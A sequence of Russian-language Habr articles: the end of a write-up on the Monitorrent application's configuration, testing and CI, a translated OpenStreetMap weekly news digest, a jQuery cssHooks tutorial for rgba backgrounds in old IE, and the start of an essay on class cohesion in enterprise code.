* `сonfig` – путь к файлу конфигурации, где можно указать параметры описанные выше. По умолчанию config.py
Конфигурировать запуск можно 3-мя способами.
Первый, это собственно аргументы запуска описанные выше.
Второй способ — это с помощью файла конфигурации (config.py по умолчанию если не указано другое через командную строку). Это простой python файл, в котором описаны глобальные переменные описанные выше.
Читается он через python `exec` команду. Для работы с python 3 он был заменён на вызов метода `exec_` пакета **six**.
```
with open(config_path) as config_file:
six.exec_(compile(config_file.read(), config_path, 'exec'), {}, parsed_config)
```
Если файл прочитать не удалось по какой-то причине, выводится ошибка и он игнорируется, на запуск это никак не влияет.
Третий способ конфигурации — переменные окружения: `MONITORRENT_DEBUG`, `MONITORRENT_IP`, `MONITORRENT_PORT` и `MONITORRENT_DB_PATH`. Файл конфигурации нельзя указывать через переменные окружения.
Аргументы запуска имеют наивысший приоритет, потом следуют переменные окружения и только потом данные из файла конфигурации, если такой существует.
Для запуска в docker контейнере гораздо проще использовать либо аргументы, либо переменные окружения.
Для запуска из папки проще написать config.py, базовой реализации этого файла пока нет.
Юнит тестирование
=================
Весь python код покрыт юнит тестами на 100%. За исключения входной точки –файла `server.py`. Но в нем тестировать имеет смысл только логику по разбору параметров запуска и чтения их из конфигурационного файла или из переменных окружения. Всё остальное — обычные настройки приложения. Поэтому все это тестировалось лишь один раз при реализации этого функционала.
Чтобы не портить красивую цифру в 100% покрытия кода тестами, этот файл исключен из подсчёта.
В качестве тестового фреймворка используется пакет **unittest** из стандартной библиотеки python.
Тестируется весь функционал, даже функционал по работе с базой данных. Sqlite позволяет создавать базу в памяти, что очень сильно ускоряет тестирование. Тесты над кодом, работающим с базой данных, обычно следуют называть интеграционными, но в нашем случает это действительно юнит тесты, которые тестируют только одну функциональность.
Существуют также тесты, которые проверяют корректность кода, отвечающего за миграцию данных на новую схему базы.
Основной функционал **Monitorrent**’а – это закачка торрент файлов с различных трекеров и тестировать в первую очередь нужно именно его.
Мы использовали библиотеку **vcrpy**, которая упрощает написание тестов для кода, загружающего данные с удалённых серверов. Она делает monkey патчинг пакета **requests** и может возвращать готовый ответ с файловой системы, не выполняя запрос на удаленный сервер. Т.е. во время первого запуска теста он ходит в настоящий back-end, сохраняет ответ в файл, который потом может быть использован, чтобы быстро вернуть этот же ответ. Это очень сильно ускоряет тесты, так как не нужно ходить за данными в настоящий back-end каждый раз. А если нужно, то всегда можно удалить эти файлы и прогнать тесты на настоящих данных. Правда, это уже стоит называть интеграционными тестами, а не юнит тестами.
Для некоторых тестов реальных данных не достаточно. И тогда нужно формировать html на основе подготовленных фальшивых данных. Или, к примеру, нужно возвращать 404 ошибку. Для этих целей используется библиотека **httpretty**. С помощью **httpretty** можно указать, что возвращать, по какому адресу и с каким статусом.
Как обычно, работа тестов через **vcrpy** была подсмотрена у FlexGet’а. У нас около 97% тестов используют **vcrpy** и только пару специфических используют **httpretty**.
Мы используем 2 сервиса, которые показывают процент покрытия кода тестами. Это [coveralls.io](https://coveralls.io/github/werwolfby/monitorrent) и [codecov.io](https://codecov.io/github/werwolfby/monitorrent?branch=develop).
Раньше у нас был небольшой кусочек кода, внутри плагина lostfilm, отвечающий за выбор парсера html:
```
parser = None
# lxml have some issue with parsing lostfilm on Windows
if sys.platform == 'win32':
parser = 'html5lib'
soup = get\_soup(r.text, parser)
```
Это платформозависимый код, поэтому покрытие тестами на Linux для этого файла было не 100%. В отличии от coveralls.io, codecov.io позволяет объединять результаты покрытия тестами с нескольких билд систем. Именно поэтому у нас появилась вторая система. Сейчас этот код заменён на следующий:
```
# lxml have some issue with parsing lostfilm on Windows, so replace it on html5lib for Windows
soup = get\_soup(r.text, 'html5lib' if sys.platform == 'win32' else None)
```
Модуль подсчета покрытия тестами python проверят покрытие всей строки, а не отдельных логических ветвей. Это можно считать жульничеством, но зато теперь можно оставить только один сервис. Какой именно мы ещё не решили. На самом деле они оба хороши. У codecov.io есть плагин для Chrome, который показывает покрытие прямо в github, что оказалось очень удобным.
Тестирование front-end сейчас отсутствует полностью. И я считаю это большой проблемой. Из-за этого уже было пару мелких багов, которые легко было бы отловить тестами.
Также мне хотелось бы проводить полное автоматизированное тестирование всего приложения, используя **vcrpy**, т.е. без хождения в настоящие back-end’ы.
Билд сервер
===========
**Monitorrent** – кроссплатформенное приложение. Поэтому нам понадобилось 2 билд сервера: один на Windows – это [ci.appveyor.com](https://ci.appveyor.com/project/werwolfby/monitorrent), второй — [travis-ci.org](https://travis-ci.org/werwolfby/monitorrent) на Linux. Appveyor собирает исталлятор для Windows при каждом билде. Но основной – это travis, он не только запускает тесты, но и загружает отчёты по покрытию кода в coveralls.io и codecov.io.
В планах подключить drone.io для автоматической сборки docker контейнеров для x86/x64 и для ARM. Насколько я понял, он это умеет. Если у кого есть опыт, поделитесь пожалуйста в комментариях.
Система контроля версий
=======================
Хотелось бы добавить пару слов про систему контроля версий. Мы пользуемся git flow и хостим все исходники на github. В ветке master есть мерджи только релизов, все мерджи помечены тегами и доступны с кратким описанием и списком закрытых issue. Вся текущая разработка ведётся в ветке develop.
Именование версий ведётся по [Semantic Versioning](http://semver.org/). Последняя версия на момент написания статьи — 1.0.0. До неё было 4 релиз кандидата, несколько альф и бет.
Для планирования следующих версий мы пользуемся плагином [ZenHub](https://www.zenhub.com/) для Chrome & Firefox, который добавляет вкладки Boards и Burndown прямо на страницу github и позволяет организовать все issue. До этого мы пытались воспользоваться [waffle.io](https://waffle.io/), но остановились на [ZenHub](https://www.zenhub.com/).
Заключение
==========
**Monitorrent** работает бесперебойно уже больше 9 недель со дня релиза.
До этого была одна большая проблема с периодическим зависанием поиска изменений. Она проявлялась только на очень нестабильном соединении с интернетом. Пока к нам в дом вели оптику, разрывы случались каждые несколько минут. Если в этот момент **Monitorrent** проверял наличие новых серий, то был большой шанс, что он просто зависнет в модуле requests. Почему-то соединение не сбрасывалось по таймауту. Воспроизвести проблему не удавалось на Windows, зато легко воспроизводилось на cubietruck. Выключение модема или разрыв соединения с интернетом вручную тоже не позволяли воспроизвести зависание.
Проблема решилась явным указанием таймаута запроса. Сейчас таймаут равен 10 секундам, и это значение хранится в базе, UI для его редактирования пока отсутствует.
Есть ещё пару не раскрытых тем (логирование, UX вопросы и их решение и другое), но статья и так получилось очень большой и слегка сумбурной, оставлю это на следующий раз.
Планов по развитию много, можно следить за [тикетом](https://github.com/werwolfby/monitorrent/issues/59/) на github. Также приветствуются советы, pull request’ы и предложения по улучшению, создавайте тикеты на github’е. Или просто запросы на добавление новых трекеров.
Спасибо за то, что дочитали до конца. Надеюсь вам понравится **Monitorrent**. | https://habr.com/ru/post/305574/ | null | ru | null |
# Дайджест новостей OpenStreetMap
Привет, Хабр! Представляю вашему вниманию перевод дайджеста "[weeklyOSM 400](http://www.weeklyosm.eu/archives/10142)".
### Картографирование
* Рассел Деффнер (Russel Deffner) [запустил](https://lists.openstreetmap.org/pipermail/tagging/2018-March/035442.html) повторный запрос на обсуждение (RFC) предложенного тега `shop=cannabis`.
* Стадия голосования за предложение об [авиационных сигнальных огнях](https://wiki.openstreetmap.org/wiki/Proposed_features/Aviation_Obstacle_Light) уже [открыто](https://lists.openstreetmap.org/pipermail/tagging/2018-March/035487.html). Это предложение подразумевает точное тегирование сигнальных источников света на объектах большой высоты (башни, здания) с целью предотвращения столкновений с летательными аппаратами в полёте.
* Другое [предложение](https://lists.openstreetmap.org/pipermail/tagging/2018-March/035476.html), касающееся подрядчиков, например, при строительстве офисного здания, было [опубликовано](https://wiki.openstreetmap.org/wiki/Proposed_features/contractor) Кристофером Базе (Christopher Baze) в виде тега `contractor=`. Голосование открыто до апреля.
* Карлос Брис из Аргентины [вновь открывает дискуссию](https://forum.openstreetmap.org/viewtopic.php?pid=689580#p689580) на форуме о тегах для различных типов мощения, особенно «бразильского» типа (вариант португальского мощения), [упоминаемого ранее](https://lists.openstreetmap.org/pipermail/tagging/2018-January/034795.html) в списке рассылки Tagging.
* [Geochicas](https://twitter.com/GeochicasOSM) («Геодевушки», *исп.*) запустили свой проект в Twitter под названием [#LasCallesDeLasMujeres](https://geochicasosm.github.io/lascallesdelasmujeres/) (Улицы Женщин), в котором они создали карту для анализа гендерного баланса в номенклатуре улиц Латинской Америки и Испании со ссылками на биографии женщин в Википедии, в честь которых названы улицы.
* Предложение о пешеходных соединениях между лыжными подъёмниками и лыжными трассами [было принято](https://wiki.openstreetmap.org/wiki/Proposed_features/Piste:type%3Dconnection).
* Strava [обновила](https://blog.strava.com/press/heatmap-updates/) свою тепловую карту. Максимальный уровень масштабирования теперь ограничен 12. Кроме того, не будут показываться места с очень маленькой активностью. В результате в большинстве случаев будет гораздо сложнее отследить или привязать треки к сильно пикселизированной тепловой карте.
### Сообщество
* Размер сообщества OpenStreetMap [достиг](https://blog.openstreetmap.org/2018/03/18/1-million-map-contributors/) одного миллиона зарегистрированных участников!
* GeoHipster [взял](http://geohipster.com/2018/03/19/anonymaps-use-real-addresses/) интервью у стоящих за проектом [Anonymaps](https://twitter.com/anonymaps) в Twitter.
* Levente Juhász создал [твит](https://twitter.com/juhaszlevi/status/974174529550503936) о своей новой свободно доступной [публикации](http://www.mdpi.com/2220-9964/7/3/113) о способах вклада в OpenStreetMap и о «воспитании» картографов с прицелом на их долгосрочное участие.
* Маурицио Наполитано (пользователь napo) опубликовал [предложение](https://wiki.openstreetmap.org/wiki/Mapper_in_residence) в вики о «Mappers in Residence» («Картографы-резиденты»). Это предложение заключается в повторении опыта [вики-резидентов](https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D0%BA%D0%B8-%D1%80%D0%B5%D0%B7%D0%B8%D0%B4%D0%B5%D0%BD%D1%82) в OpenStreetMap: идея добровольцев, призванная помочь учреждениям или компаниям предоставить свою информацию миру открытых данных.
* «OpenStreetMap, MapaNica и автобусы в Никарагуа» — это название [презентации](http://blog.mapanica.net/presentation-casa-vinculos-esteli/), недавно проведенной в Эстели, Никарагуа, которая объясняет процесс картографирования автобусных маршрутов в Манагуа и Эстели. Дополнительная информация доступна в блоге;
* OpenCageData взял [интервью](https://blog.opencagedata.com/post/openstreetmap-interview-andy-mabbet) у [Энди Маббетта](https://twitter.com/pigsonthewing), который активно работает в сообществах Wikidata и OpenStreetMap. Он рассказал о связях между ними.
* Валентина Карраро (Valentina Carraro) и Барт Виссинк (Bart Wissink) [написали статью](https://www.sciencedirect.com/science/article/pii/S001671851830037X?_rdoc=1&_fmt=high&_origin=gateway&_docanchor=&md5=b8429449ccfc9c30159a5f9aeaa92ffb&dgcid=raven_sd_via_email) о недостаточном представлении меньшинств на OpenStreetMap и о риске того, что неравенство реального мира просачивается в потенциально демократические краудфандинговые проекты. Полная статья доступна только для платных подписчиков.
### Импорт данных
* Похоже, что в Португалии в течение двух месяцев были [импортированы](https://lists.openstreetmap.org/pipermail/talk-pt/2018-March/001554.html) в OSM большие объёмы данных без предварительного согласования или документирования;
* Илья Зверев [получил доступ](https://wiki.openstreetmap.org/wiki/Navads_Imports) к набору данных Navаds более чем на 59 тысяч автозаправочных станций по всему миру. В настоящее время данные проверяются и готовятся к импорту — текущее состояние можно отследить в [рассылке по импорту](https://lists.openstreetmap.org/pipermail/imports/2018-March/005436.html) и на [выделенной странице вики](https://wiki.openstreetmap.org/wiki/Navads_Imports).
### Фонд OpenStreetMap
* Майкл Райхерт (Michael Reichert) в рассылке OSMF-Talk [предлагает](https://lists.openstreetmap.org/pipermail/osmf-talk/2018-March/005109.html) закрыть несколько неактивных или малоактивных немодерируемых разделов с форума OSM чтобы эффективнее использовать время модераторов.
* 15 марта [состоялось заседание](https://wiki.osmfoundation.org/wiki/Board/Minutes/2018-03-15) Совета OSMF. Наканер (Nakaner) [опубликовал](https://forum.openstreetmap.org/viewtopic.php?pid=689962#p689962) отчёт на OSM-форуме (на немецком языке). Кристоф (Christoph) [прокомментировал](https://www.openstreetmap.org/user/imagico/diary/43505) в своём блоге дискуссию о переводах сайта OSMF на другие языки.
### События
* Ларс Лингнер [напоминает](https://lists.openstreetmap.org/pipermail/talk-de/2018-March/114718.html) (*нем.*, [перевод](https://translate.google.com/translate?sl=DE&tl=EN&u=https://lists.openstreetmap.org/pipermail/talk-de/2018-March/114718.html)) о предстоящем [OSM Hackweekend](https://wiki.openstreetmap.org/wiki/Berlin_Hack_Weekend_April_2018), который состоится в DB-Mindbox в Берлине 14-15 апреля.
* Следующий [Grazer Linuxtage](https://www.linuxtage.at/) состоится 27-28 апреля в Граце (Австрия) в помещении курса FH Joanneum, Automotive Engineering. Кроме различных докладов и семинаров, посвящённых открытому программному обеспечению, можно также посетить мастерскую по JOSM. Вход бесплатный.
* 6-я ежегодная конференция, организованная OpenStreetMap France, пройдёт с 1 по 3 июня в Пессаке, в кампусе [университета Бордо-Монтень](https://www.openstreetmap.org/?mlat=44.79648&mlon=-0.61514#map=19/44.79648/-0.61514). Презентации участников можно предоставить [здесь](https://framaforms.org/proposition-dintervention-au-sotm-france-2018-1517936730).
* 7 апреля в Управлении Геоинформации в Золотурне [состоится](http://sosm.ch/sosm-annual-general-meeting-april-7th-2018-solothurn/) общее собрание Швейцарской ассоциации OSM, а затем — картографическая вечеринка.
### Гуманитарная OSM
* sev\_osm подробно [рассказал](https://www.openstreetmap.org/user/sev_osm/diary/43532) в своём дневнике (фр., [перевод](https://translate.google.com/translate?sl=FR&tl=EN&u=https://www.openstreetmap.org/user/sev_osm/diary/43532)) о семинаре, который он провёл в Дакаре с несколькими членами местного сообщества OSM, обучив различным передовым технологиям редактирования, обработке нескольких доступных источников аэро- и космоснимков, сведениям об экосистеме OSM и управлении ею.
* Опубликованы [протоколы](https://drive.google.com/file/d/1rGXfVTXDaXrjKSPQbkTxXgnGysqCXh6g/view) заседания HOT US Inc., прошедшего 1 марта.
* Бионди Сима (Biondi Sima) [разъясняет](https://www.hotosm.org/updates/2018-03-12_hot_inaware_project_relocates_to_mapping_lifeline_infrastructures_in_semarang), что было запланировано Индонезийской командой HOT в рамках проекта InAWARE после завершения проекта в Джакарте.
### Карты
* James2432 [работает](https://github.com/gravitystorm/openstreetmap-carto/pull/3126) над рендерингом ремесленных предприятий в OSM Carto.
### Открытые данные
* Уругвайское сообщество gvSIG и GeoForAll Iberoamérica [организуют](https://www.osgeo.org/events/free-open-source-geographic-information-technologies-open-data-conference-2018/) 5-ю Конференцию по свободным и открытым источникам географических информационных технологий, которая состоится в Монтевидео в октябре этого года.
* Муниципалитет Тираны согласился [предоставить](https://www.europeandataportal.eu/en/news/open-labs-launches-tirana%E2%80%99s-open-data-geoportal) свои геоданные для OpenStreetMap по открытой лицензии.
* «Азиатский фонд» [показал](https://asiafoundation.org/2018/03/14/photo-blog-nepal-celebrates-open-data-day/) в фото-блоге, как непальское сообщество отметило День Открытых Данных. [Kathmandu Living Labs](http://www.kathmandulivinglabs.org/) организовали картографический марафон (mapathon), где многих участников познакомили с возможностями OpenStreetMap.
### Лицензии
* Wikimedia решительно [выступает против](https://netzpolitik.org/2018/copyright-update-3-wikimedia-kaempft-gegen-upload-filter/) (*нем.*, [перевод](https://translate.google.com/translate?sl=auto&tl=EN&u=https://netzpolitik.org/2018/copyright-update-3-wikimedia-kaempft-gegen-upload-filter/)) европейской инициативы по внедрению в Wikimedia Commons фильтров при загрузке данных, по причине *«беспрецедентных изменений»* в законодательные проекты *«в последнюю минуту»*. [John Weitzmann](https://blog.wikimedia.de/2016/04/07/herzlich-willkommen-john-weitzmann/) заметил, что даже Википедия *«не избежит аналогичных проблем»*.
### Программное обеспечение
* В HeiGIT в настоящее время разрабатывается платформа анализа истории OpenStreetMap. Это облегчит доступ к данным OSM из полной истории изменений. С предварительными результатами [проекта](http://k1z.blog.uni-heidelberg.de/2018/03/15/preview-of-the-ohsome-nepal-dashboard/) можно ознакомиться на примере [Непала](https://ohsome.org/apps/kll-dashboard-preview/).
* Хотите обои в виде OSM-карты на вашем смартфоне? Эту мечту поможет осуществить [веб-сервис](https://alvarcarto.com/phone-background/generator/) от Alvar Carto.
* В своей [статье](https://translate.google.com/translate?sl=auto&tl=EN&u=http://www.pnn.de/potsdam/1266193/) издание Potsdamer Neueste Nachrichten описывает стартап [Calimoto](https://calimoto.eu/de/). Их навигационное приложение для мотоциклистов выделяется тем, что отдаёт предпочтение наиболее живописным и извилистым маршрутам.
* На [форуме](https://forum.openstreetmap.org/viewtopic.php?pid=688743#p688743) OSM представили новый [редактор](https://www.suplacemaker.com/?utm_source=sketchosm&utm_medium=osmforum), в первую очередь предназначенный для добавления новых 3D-зданий. Его авторы — создатели PlaceMaker, платного плагина для SketchUp, который импортирует и обрабатывает 3D-геоданные в SketchUp. Также разработчики загрузили [обучающее видео](https://www.youtube.com/watch?v=1PtYiTUIKiE).
### Разработка
* Начиная с 1 мая, публичные загрузки Geofabrik больше [не будут](https://blog.geofabrik.de/?p=457) содержать метаданные о пользователях OSM. Доступ к полным выгрузкам будет возможен только с помощью учётной записи OSM.
### Релизы
* Саймон Пул (Simon Poole) рассказал, что будет в новой версии 10.2 редактора [Vespucci](http://vespucci.io/) в своём [блоге](https://www.openstreetmap.org/user/SimonPoole/diary/43522).
### «Знаете ли вы о?..»
* … скрипте [визуализации](https://wiki.openstreetmap.org/wiki/Query-to-map) результатов запроса из базы данных на карте?
* … тематических OSM-картах [flosm](http://www.flosm.de/en/index.html)? Есть ещё один новый [сайт](https://www.map-machine.de/) для создания своих собственных тем для карт.
* … проекте [OpenMapTiles](https://wiki.openstreetmap.org/wiki/OpenMapTiles)? Здесь вы можете с помощью набора инструментов создавать векторные карты мира, которые можно хостить или использовать офлайн. Программа доступна в виде бесплатного программного обеспечения на [OpenMapTiles.org](https://openmaptiles.org/).
* … этом [видео](https://www.youtube.com/watch?v=90uKV29nGBs), которое иллюстрирует нашу картографическую деятельность в OpenStreetMap с 2006 года?
### OSM в СМИ
* [Статья](https://www.citylab.com/equity/2018/03/who-maps-the-world/555272/) CityLab о распределении полов среди картографов обсуждается в [списке рассылки](https://lists.openstreetmap.org/pipermail/diversity-talk/2018-March/000315.html) и [Reddit](https://www.reddit.com/r/openstreetmap/comments/84l87i/why_equitable_maps_are_more_accurate_and_humane/). В то время как комментаторы приветствуют картографов всех полов и происхождений, статистика, указанная в статье, воспринимается скептически.
### Прочее картографическое
* Карты Google вслед за OSM теперь также предоставляют [данные для пользователей инвалидных колясок](https://www.blog.google/products/maps/introducing-wheelchair-accessible-routes-transit-navigation/). Однако, пока только в отдельных городах и менее информативно, чем в OSM.
* Согласно оценке Всемирного банка, половина городского населения мира живет на улицах без названий. «Плюс-коды» от Google являются [альтернативой](https://9to5google.com/2018/03/13/google-plus-codes-maps/) обычным адресам (город, улица, номер дома). Также эта система является свободной альтернативой проприетарным системам типа «what3words».
* Google [хочет](https://www.wired.de/collection/business/google-gibt-maps-fuer-augmented-reality-spiele-frei) облегчить жизнь разработчикам игр с дополненной реальностью, подобных Pokémon Go, с помощью API Карт Google.
* В [статье](https://www.scidev.net/global/health/feature/mapping-techniques-to-leave-no-one-behind-x1.html) на SciDev обсуждаются принципы гуманитарного картографирования. | https://habr.com/ru/post/352170/ | null | ru | null |
# cssHooks — расширяем множество CSS свойств
В этой статье я расскажу об объекте jQuery.cssHooks, который по умолчанию содержится в jQuery. Расширение этого объекта позволяет добавлять новые свойства или значения, прописываемые в методе .css(), которые изначально не поддерживаются теми или иными браузерами. Возможно, для многих наличие CSS хуков не является новостью, но для меня это стало небольшим открытием.
Для тех, кому лень дальше читать, привожу основную мысль. Допустим, вы хотите в jQuery добавить CSS свойство chuck-norris:
```
$.cssHooks.chuckNorris = {
get: function(elem) {
//проводим манипуляции с узлом elem, получаем value
return value;
},
set: function(elem, value) {
//проводим манипуляции с узлом elem, устанавливаем value
}
}
$(el).css(‘chuck-norris’, Infinity);
//или $(el).css({‘chuck-norris’: Infinity});
alert($(el).css(‘chuck-norris’)); //Infinity
```
Далее будет подробно описана «модификация» свойства background-color для поддержки rgba в старых версиях IE и добавление нового, несуществующего в спецификации свойства background-alpha для удобной установки прозрачности фонового цвета. В IE прозрачность цвета будет реализована с помощью использования свойства filter, добавляя элементу [градиент](http://msdn.microsoft.com/en-us/library/ms532997(v=vs.85).aspx), состоящий из двух одинаковых цветов.
Этот способ имеет два недостатка.
Во-первых градиенты не работают для блоков с шириной auto, для этого придется применять хак:
```
$('div').width('100%');
```
Во-вторых фильтры действуют на фоновые изображения. Вместо ожидаемого (первый рисунок) в старых версиях осла вы получите такое (второй рисунок).
 
Для начала нам понадобится функция (parseColor), которая будет парсить цвет в разных форматах и возвращать объект {r,g,b,a}. Учтены следующие варианты:
* Когда на вход поступила пустая строка или transpatent
* Строка формата #aarrggbb (для градиентов в IE)
* Строка формата #rrggbb
* Строка формата #rgb
* Строка формата rgb[a](r, g, b [, a])
Код этого парсера (который будет не к месту из-за размера) и, собственно, идея частично позаимстсоваы [отсюда](https://github.com/brandonaaron/jquery-cssHooks/blob/122b7371965750d90ee68e0dd485d92883a09dda/color.js).
Вторым этапом создадим класс Color, принимающий на вход html узел и содержащий ряд функций, которые в дальнейшем понадобятся.
```
var Color = function(el){
//функция возвращает объект из трех элементов:
//является ли браузер IE8-, есть ли в стилях элемента градиент, включен ли этот градиент
var ieDetect = (function(){
var ua = navigator.userAgent;
var result = {}
result.isOldIe = ~ua.indexOf('MSIE 6') || ~ua.indexOf('MSIE 7') || ~ua.indexOf('MSIE 8');
result.hasGradient = result.isOldIe &&
~el.style.filter.toLowerCase().indexOf('gradient');
result.isGradientEnabled = result.hasGradient &&
!!el.filters.item("DXImageTransform.Microsoft.gradient").enabled;
return result;
})();
//конвертация объекта с десятичными значениями цвета в объект с шестнадцатиричными
var colorToHex = function (objColor) {
var hex = {};
for (var i in objColor) {
hex[i] = objColor[i];
if (i==='a') {
hex.a = Math.round(hex.a*255);
}
hex[i] = hex[i].toString(16);
//добавляем '0', если полученное значение состоит из одного символа
hex[i] = hex[i].length == 2 ? hex[i] : '0' + hex[i];
}
return hex;
}
//преобразует объект {r,g,b,a} в строку с заданным форматом
var colorToString = function(objColor, format) {
var hexColor = colorToHex(objColor);
switch(format) {
case 'rgb': return 'rgb(' + objColor.r + ',' + objColor.g + ',' + objColor.b + ')';
case 'rgba': return 'rgba(' + objColor.r + ',' + objColor.g + ',' +
objColor.b +',' + objColor.a + ')';
case '#6': return '#' + hexColor.r + hexColor.g + hexColor.b;
case '#8': return '#' + hexColor.a + hexColor.r + hexColor.g + hexColor.b;
}
}
//конвертирует один формат цвета в другой
var convertColor = function(color, format) {
var colorObj = parseColor(color);
return colorToString(colorObj, format)
}
//добавляет поддержку getComputedStyle для старых браузеров
//ниже будет видно, зачем
if (!window.getComputedStyle) {
window.getComputedStyle = function(el, pseudo) {
this.el = el;
this.getPropertyValue = function(prop) {
var re = /(\-([a-z]){1})/g;
if (re.test(prop)) {
prop = prop.replace(re, function () {
return arguments[2].toUpperCase();
});
}
return el.currentStyle[prop] ? el.currentStyle[prop] : null;
}
return this;
}
}
...
```
Теперь перейдем к самой установке значения цвета. Надеюсь, читателю не составит большого труда понять код, несмотря на его вложенность.
```
this.setBackgroundColor = function(color) {
var newColor,
newColorObj = parseColor(color);
if(ieDetect.isOldIe) { // Если IE
if(newColorObj.a < 1) { // Если альфа меньше единицы
el.style.backgroundColor = 'transparent';
newColor = colorToString(newColorObj, '#8');
if(ieDetect.hasGradient) { // Если есть фильтр градиент
el.filters.item("DXImageTransform.Microsoft.gradient").enabled = true;
el.filters.item("DXImageTransform.Microsoft.gradient").startColorstr = newColor;
el.filters.item("DXImageTransform.Microsoft.gradient").endColorstr = newColor;
} else { // Если нету фильтра градиент
el.style.filter +=
"progid:DXImageTransform.Microsoft.gradient(enabled='true', startColorstr=" +
newColor + ", endColorstr=" + newColor + ")";
}
} else { // Если альфа равна единице
newColor = colorToString(newColorObj, '#6');
if(ieDetect.hasGradient) { // Если есть фильтр градиент
el.filters.item("DXImageTransform.Microsoft.gradient").enabled = false;
el.style.backgroundColor = newColor;
} else { // Если нету фильтра градиент
el.style.backgroundColor = newColor;
}
}
} else { // Если не IE
if(newColorObj.a < 1) { // Если альфа меньше единицы
newColor = colorToString(newColorObj, 'rgba');
el.style.backgroundColor = newColor;
} else { // Если альфа равна единице
newColor = colorToString(newColorObj, '#6');
el.style.backgroundColor = newColor;
}
}
}
```
Следующая часть кода отвечает за получение значения цвета. Здесь уже намного проще.
```
this.getBackgroundColor = function() {
var color;
if(ieDetect.isGradientEnabled) { // Если IE и включен градиент
color = el.filters.item("DXImageTransform.Microsoft.gradient").startColorstr;
return convertColor(color, 'rgba');
} else {
//хак взят отсюда: http://snipplr.com/view/13523/getcomputedstyle-for-ie/
//вместо этого мы могли бы использовать $(el).css('background-color');
//но это свойство мы переназначаем, и возникает бесконечная рекурсия
color = el.style.BackgroundColor ||
window.getComputedStyle(el,null).getPropertyValue('background-color');
return color;
}
}
```
Теперь основная часть. Добавляем хук backgroundColor.
```
$.cssHooks.backgroundColor = {
get: function(elem) {
var color = new Color(elem);
return color.getBackgroundColor();
},
set: function( elem, value ) {
var color = new Color(elem);
color.setBackgroundColor(value);
}
}
```
Добавляем хук backgroundAlpha
```
$.cssHooks.backgroundAlpha = {
get: function(elem) {
var color = new Color(elem);
var colorStr = color.getBackgroundColor();
var colorObj = parseColor(colorStr);
return colorObj.a;
},
set: function(elem, value) {
var color = new Color(elem);
var colorStr = color.getBackgroundColor();
var colorObj = parseColor(colorStr);
//если значением стиля является число, то jQuery приписывает 'px'; фиксим
colorObj.a = String(value).replace('px', '');
color.setBackgroundColor('rgba('+
colorObj.r+','+colorObj.g+','+colorObj.b+','+colorObj.a+')');
}
}
```
Всё сделано, теперь можно использовать.
```
p{background-color: #991111; ...}
div{background: url(...) ...}
```
```
...
...
```
```
$('p').width('100%');
$('p:eq(0)').css({'background-color':'rgba(0,111,221,0.9)'});
$('p:eq(1)').css('background-alpha', 0.5);
```
Как мы видим, для объектов с названиями в стиле «camel case» jQuery автоматически добавляет поддержку «дефисного» стиля.
##### Вывод
Если вы хотите добавить поддержку некоторого свойства, которое не поддерживается (или частично поддерживается) теми или иными браузерами, то стоит забыть о том, что это можно сделать созданием плагина и, вместо этого, использовать $.cssHooks.
Ссылки:
Итоговый вариант: [finom.ho.ua/bgalpha](http://finom.ho.ua/bgalpha/)
Код хуков из статьи: [finom.ho.ua/bgalpha/background-rgba.csshook.jquery.js](http://finom.ho.ua/bgalpha/background-rgba.csshook.jquery.js)
cssHooks в альтернативной документации: [jqapi.com/#p=jQuery.cssHooks](http://jqapi.com/#p=jQuery.cssHooks) | https://habr.com/ru/post/123241/ | null | ru | null |
# Cohesion in Enterprise Applications
Введение
--------
Структура кода, структура проекта, дизайн проекта, архитектура проекта — эти понятия могут иметь различные значения, сложность или глубину для архитектора, разработчика, руководителя проекта или консультанта. Дальше должно идти долгое копание в терминологии, однако позвольте мне быть ленивым и считать, что в рамках этой статьи все эти понятия выражают примерно одно и то же, а именно набор шаблонов, правил, которые говорят, каким образом нужно писать код, правильно реагируя на приходящие требования. К примеру, если для доступа к базе данных мы используем DAO (Data Access Object), то вместе с созданием новой структуры в базе данных, нужно будет создать новый DAO или расширить существующий, но никак не писать SQL, скажем, на уровне презентации.
Что бы стало еще понятнее, добавлю, что речь пойдет о том же, о чем писал «классик» — Patterns of enterprise application architecture by M. Fowler. Речь в книге идет в общем о том, как делить функционал, т.е. какой метод какому классу должен принадлежать.
Проблема
--------
Начнем с примера. Нашей задачей будет написать систему обработки запросов на получение визы в страну Ос. Система должна позволять создавать запрос, состоящий из контактных данных и данных о месте работы; отправлять запрос на обработку в визовый центр; принимать решение о выдаче или отказе в визе; генерировать некий отчет о человеке, который подает документы; доставлять паспорт на летающих обезьянах. Кроме того, запрос может быть оформлен на несколько человек.
В упрощенной форме, структура запроса может выглядеть следующим образом:
```
class VisaRequest{
Collection applicants
}
class Applicant{
Contact contact
WokrInfo workInfo
}
…
```
Не забываем, что и язык программирования магический (т. е. без магии не компилируется), хотя и похож на groovy.
Сам функционал в этом случае может выглядеть как-то так:
```
class VisaRequestService {
def create(def visaRequest){...}
def update(def visaRequest){...}
def get(def requestId){}
def submit(def requestId){...}
def getDecision(def requestId, def applicantName){...}
def generateReport(def requestId, def applicantName){...}
}
```
Диаграмма классов такой системы, отражающая уровнь сервисов и модель данных, показана ниже.
Что же пишет по-этому поводу Мартин Фаулер? Я не буду пересказывать книгу, скажу лишь, что наравне со всем прочим, он обращает внимание на тот факт, что с добавлением функциональности класс типа VisaRequestService будет расти, а переиспользовать написанные методы будет все сложнее и сложнее, так как каждый метод представляет собой фактически скрипт, специфичный для конкретного сценария. Не будем с ним спорить, а обратим внимание на понятие из заголовка статьи — cohesion. Cohesion это свойство объекта / класса, определяющие насколько объект / класс занят своим делом. Если cohesion низкое, то у класса слишком много ответственности, класс делает слишком много различных операций, отчего становится большим, а большой класс тяжело читать, тяжело расширять и т. д.
В нашем тривиальном случае мы фактически создали God Сlass, который заведует всем. Безусловно, это не единственное решение и мы могли бы создать отдельный DecisionService:
```
class DecisionService{
def getDecision(def requestId, def applicantName){...}
}
```
или отдельный SubmitService:
```
class SubmitService{
def submit(def requestId){...}
}
```
или отдельный ApplicantService:
```
class ApplicantService{
def getDecision(def requestId, def applicantName){...}
def generateReport(def requestId, def applicantName){...}
}
```
или еще что-нибудь (все-таки страна Ос).
Во всех этих примерах cohesion новых классов кажется довольно хорошим, но не во всех мы улучшаем cohesion существующих. В первых двух случаях, если мы ограничиваемся созданием только одного из этих классов, VisaRequestService все равно продолжает делать слишком много. Кроме того, остаются неясными причины, почему мы разбили класс именно таким образом.
Решение
-------
### Классическое
